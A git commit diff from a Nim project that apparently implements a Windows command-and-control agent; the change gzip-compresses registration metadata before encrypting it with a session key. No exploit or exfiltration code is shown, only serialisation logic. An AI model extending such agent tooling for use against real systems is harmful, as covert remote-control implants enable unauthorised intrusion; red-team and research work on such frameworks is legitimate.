Implemented compression of the network packet bodies.

This commit is contained in:
Jakob Friedl
2025-09-13 15:18:46 +02:00
parent b7b9114258
commit c6bbef8520
7 changed files with 48 additions and 25 deletions

View File

@@ -1,4 +1,4 @@
import winim, os, net, strformat, strutils, registry, sugar
import winim, os, net, strformat, strutils, registry, zippy
import ../../common/[types, serialize, sequence, crypto, utils]
@@ -241,8 +241,11 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData):
let metadata = packer.pack()
packer.reset()
# Compress payload body
let compressedPayload = compress(metadata, BestCompression, dfGzip)
# Encrypt metadata
let (encData, gmac) = encrypt(ctx.sessionKey, data.header.iv, metadata, data.header.seqNr)
let (encData, gmac) = encrypt(ctx.sessionKey, data.header.iv, compressedPayload, data.header.seqNr)
# Set authentication tag (GMAC)
data.header.gmac = gmac